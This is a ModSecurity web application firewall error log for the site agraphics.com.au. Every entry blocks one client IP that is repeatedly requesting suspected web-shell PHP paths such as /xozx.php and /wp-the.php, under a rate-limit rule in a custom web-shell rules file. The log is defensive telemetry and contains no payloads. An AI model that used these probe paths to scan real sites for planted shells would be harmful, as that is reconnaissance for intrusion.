[Mon May 04 23:52:46.648928 2026] [:error] [pid 3341:tid 3355] [client 4.204.197.96:42958] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "afjAzk9o3_LordU0wW6e9wAAAIs"]
[Mon May 04 23:52:47.120842 2026] [:error] [pid 61042:tid 61050] [client 4.204.197.96:42975] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "afjAz0nAPPS1fjubA9RxpgAAAMQ"]
[Mon May 04 23:52:47.555790 2026] [:error] [pid 61042:tid 61051] [client 4.204.197.96:42692] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "afjAz0nAPPS1fjubA9RxpwAAAMU"]
[Mon May 04 23:52:47.993784 2026] [:error] [pid 3341:tid 3348] [client 4.204.197.96:42742] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "afjAz09o3_LordU0wW6e_AAAAIQ"]
[Mon May 04 23:52:48.589858 2026] [:error] [pid 61150:tid 61170] [client 4.204.197.96:42723] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffile.php"] [unique_id "afjA0O8QXWVLiwIGVpeovQAAAVE"]
[Mon May 04 23:52:49.077764 2026] [:error] [pid 3341:tid 3366] [client 4.204.197.96:42738] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffile.php"] [unique_id "afjA0U9o3_LordU0wW6fAgAAAJY"]
[Mon May 04 23:52:49.559397 2026] [:error] [pid 3341:tid 3365] [client 4.204.197.96:42736] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffile.php"] [unique_id "afjA0U9o3_LordU0wW6fAwAAAJU"]
[Mon May 04 23:52:49.997760 2026] [:error] [pid 61042:tid 61070] [client 4.204.197.96:43048] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffile.php"] [unique_id "afjA0UnAPPS1fjubA9RxqgAAANg"]
[Mon May 04 23:52:50.506721 2026] [:error] [pid 61150:tid 61175] [client 4.204.197.96:43024] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/layout.php"] [unique_id "afjA0u8QXWVLiwIGVpeovgAAAVY"]
[Mon May 04 23:52:50.959245 2026] [:error] [pid 61150:tid 61163] [client 4.204.197.96:42972] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/layout.php"] [unique_id "afjA0u8QXWVLiwIGVpeovwAAAUo"]
[Mon May 04 23:52:51.433602 2026] [:error] [pid 3341:tid 3359] [client 4.204.197.96:43075] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/layout.php"] [unique_id "afjA009o3_LordU0wW6fCgAAAI8"]
[Mon May 04 23:52:51.895855 2026] [:error] [pid 61150:tid 61161] [client 4.204.197.96:42710] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/layout.php"] [unique_id "afjA0-8QXWVLiwIGVpeowgAAAUg"]
[Mon May 04 23:52:52.310159 2026] [:error] [pid 61150:tid 61168] [client 4.204.197.96:42748] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1index.php"] [unique_id "afjA1O8QXWVLiwIGVpeoxAAAAU8"]
[Mon May 04 23:52:52.788765 2026] [:error] [pid 61043:tid 61084] [client 4.204.197.96:42706] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1index.php"] [unique_id "afjA1J8-LwtfURjiAbDp1QAAAEk"]
[Mon May 04 23:52:53.217786 2026] [:error] [pid 3341:tid 3347] [client 4.204.197.96:42697] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1index.php"] [unique_id "afjA1U9o3_LordU0wW6fEAAAAIM"]
[Mon May 04 23:52:53.673953 2026] [:error] [pid 3341:tid 3344] [client 4.204.197.96:42957] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1index.php"] [unique_id "afjA1U9o3_LordU0wW6fEQAAAIA"]
[Mon May 04 23:52:54.091287 2026] [:error] [pid 61043:tid 61080] [client 4.204.197.96:42993] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yas.php"] [unique_id "afjA1p8-LwtfURjiAbDp2wAAAEU"]
[Mon May 04 23:52:54.525984 2026] [:error] [pid 61042:tid 61050] [client 4.204.197.96:42709] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yas.php"] [unique_id "afjA1knAPPS1fjubA9RxsAAAAMQ"]
[Mon May 04 23:52:54.996886 2026] [:error] [pid 3341:tid 3346] [client 4.204.197.96:43054] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yas.php"] [unique_id "afjA1k9o3_LordU0wW6fFAAAAII"]
[Mon May 04 23:52:55.423495 2026] [:error] [pid 32471:tid 32495] [client 4.204.197.96:43037] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yas.php"] [unique_id "afjA13mjpb9EYq6AqhKSYQAAARU"]
[Mon May 04 23:52:55.887124 2026] [:error] [pid 3341:tid 3355] [client 4.204.197.96:43111] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xozx.php"] [unique_id "afjA109o3_LordU0wW6fGAAAAIs"]
[Mon May 04 23:52:56.333583 2026] [:error] [pid 32471:tid 32492] [client 4.204.197.96:43122] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xozx.php"] [unique_id "afjA2Hmjpb9EYq6AqhKSZgAAARI"]
[Mon May 04 23:52:56.761133 2026] [:error] [pid 32471:tid 32493] [client 4.204.197.96:43011] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xozx.php"] [unique_id "afjA2Hmjpb9EYq6AqhKSaQAAARM"]
[Mon May 04 23:52:57.226019 2026] [:error] [pid 3341:tid 3345] [client 4.204.197.96:42951] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xozx.php"] [unique_id "afjA2U9o3_LordU0wW6fHAAAAIE"]
[Mon May 04 23:52:57.641904 2026] [:error] [pid 3341:tid 3359] [client 4.204.197.96:43117] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/less.php"] [unique_id "afjA2U9o3_LordU0wW6fHwAAAI8"]
[Mon May 04 23:52:58.116429 2026] [:error] [pid 3341:tid 3362] [client 4.204.197.96:42952] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/less.php"] [unique_id "afjA2k9o3_LordU0wW6fIgAAAJI"]
[Mon May 04 23:52:58.554796 2026] [:error] [pid 3341:tid 3357] [client 4.204.197.96:42731] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/less.php"] [unique_id "afjA2k9o3_LordU0wW6fIwAAAI0"]
[Mon May 04 23:52:59.008047 2026] [:error] [pid 61042:tid 61065] [client 4.204.197.96:42995] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/less.php"] [unique_id "afjA20nAPPS1fjubA9RxsQAAANM"]
[Mon May 04 23:52:59.432123 2026] [:error] [pid 32471:tid 32486] [client 4.204.197.96:42750] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "afjA23mjpb9EYq6AqhKSbQAAAQw"]
[Mon May 04 23:52:59.848888 2026] [:error] [pid 61043:tid 61079] [client 4.204.197.96:42983] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "afjA258-LwtfURjiAbDp4AAAAEQ"]
[Mon May 04 23:53:00.266652 2026] [:error] [pid 32471:tid 32487] [client 4.204.197.96:42987] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "afjA3Hmjpb9EYq6AqhKSbwAAAQ0"]
[Mon May 04 23:53:00.699963 2026] [:error] [pid 3341:tid 3345] [client 4.204.197.96:42973] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "afjA3E9o3_LordU0wW6fJgAAAIE"]
[Mon May 04 23:53:01.157126 2026] [:error] [pid 3341:tid 3361] [client 4.204.197.96:42745] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "afjA3U9o3_LordU0wW6fJwAAAJE"]
[Mon May 04 23:53:01.570159 2026] [:error] [pid 61043:tid 61086] [client 4.204.197.96:42701] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "afjA3Z8-LwtfURjiAbDp5AAAAEs"]
[Mon May 04 23:53:01.988449 2026] [:error] [pid 3341:tid 3351] [client 4.204.197.96:42954] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "afjA3U9o3_LordU0wW6fKQAAAIc"]
[Mon May 04 23:53:02.437437 2026] [:error] [pid 3341:tid 3347] [client 4.204.197.96:42967] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "afjA3k9o3_LordU0wW6fKwAAAIM"]
[Mon May 04 23:53:02.850195 2026] [:error] [pid 3341:tid 3356] [client 4.204.197.96:42884] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "afjA3k9o3_LordU0wW6fLQAAAIw"]
[Mon May 04 23:53:03.264892 2026] [:error] [pid 3341:tid 3364] [client 4.204.197.96:42700] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "afjA309o3_LordU0wW6fLgAAAJQ"]
[Mon May 04 23:53:03.696237 2026] [:error] [pid 3341:tid 3353] [client 4.204.197.96:43002] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "afjA309o3_LordU0wW6fMQAAAIk"]
[Mon May 04 23:53:04.122287 2026] [:error] [pid 3341:tid 3359] [client 4.204.197.96:42947] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "afjA4E9o3_LordU0wW6fMgAAAI8"]
[Mon May 04 23:53:04.595251 2026] [:error] [pid 32471:tid 32494] [client 4.204.197.96:43000] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wander.php"] [unique_id "afjA4Hmjpb9EYq6AqhKSeAAAARQ"]
[Mon May 04 23:53:05.016932 2026] [:error] [pid 61043:tid 61093] [client 4.204.197.96:43098] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wander.php"] [unique_id "afjA4Z8-LwtfURjiAbDp5wAAAFI"]
[Mon May 04 23:53:05.444599 2026] [:error] [pid 61043:tid 61078] [client 4.204.197.96:43069] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wander.php"] [unique_id "afjA4Z8-LwtfURjiAbDp6gAAAEM"]
[Mon May 04 23:53:05.889235 2026] [:error] [pid 3341:tid 3367] [client 4.204.197.96:42980] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wander.php"] [unique_id "afjA4U9o3_LordU0wW6fOAAAAJc"]
[Mon May 04 23:53:06.301672 2026] [:error] [pid 3341:tid 3364] [client 4.204.197.96:42696] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-db.php"] [unique_id "afjA4k9o3_LordU0wW6fOgAAAJQ"]
[Mon May 04 23:53:06.756426 2026] [:error] [pid 32471:tid 32478] [client 4.204.197.96:43066] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-db.php"] [unique_id "afjA4nmjpb9EYq6AqhKSegAAAQQ"]
[Mon May 04 23:53:07.182695 2026] [:error] [pid 32471:tid 32498] [client 4.204.197.96:42904] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-db.php"] [unique_id "afjA43mjpb9EYq6AqhKSfQAAARg"]
[Mon May 04 23:53:07.648439 2026] [:error] [pid 61043:tid 61095] [client 4.204.197.96:42955] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-db.php"] [unique_id "afjA458-LwtfURjiAbDp7QAAAFQ"]
[Mon May 04 23:53:08.062651 2026] [:error] [pid 61150:tid 61162] [client 4.204.197.96:42894] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "afjA5O8QXWVLiwIGVpeozgAAAUk"]
[Mon May 04 23:53:08.488768 2026] [:error] [pid 32471:tid 32492] [client 4.204.197.96:42984] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "afjA5Hmjpb9EYq6AqhKSgwAAARI"]
[Mon May 04 23:53:08.900067 2026] [:error] [pid 61044:tid 61103] [client 4.204.197.96:42722] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "afjA5Ew8w2zZZXI6H1u6GAAAAAE"]
[Mon May 04 23:53:09.312519 2026] [:error] [pid 32471:tid 32478] [client 4.204.197.96:42888] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "afjA5Xmjpb9EYq6AqhKSigAAAQQ"]
[Mon May 04 23:53:09.793490 2026] [:error] [pid 61044:tid 61120] [client 4.204.197.96:42900] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "afjA5Uw8w2zZZXI6H1u6GwAAABI"]
[Mon May 04 23:53:10.222646 2026] [:error] [pid 61043:tid 61092] [client 4.204.197.96:42850] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "afjA5p8-LwtfURjiAbDp7gAAAFE"]
[Mon May 04 23:53:10.639646 2026] [:error] [pid 61044:tid 61110] [client 4.204.197.96:43078] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "afjA5kw8w2zZZXI6H1u6HAAAAAg"]
[Mon May 04 23:53:11.122411 2026] [:error] [pid 32471:tid 32477] [client 4.204.197.96:42695] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "afjA53mjpb9EYq6AqhKSjgAAAQM"]
[Mon May 04 23:53:11.534971 2026] [:error] [pid 61150:tid 61157] [client 4.204.197.96:42708] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ouh.php"] [unique_id "afjA5-8QXWVLiwIGVpeo0AAAAUQ"]
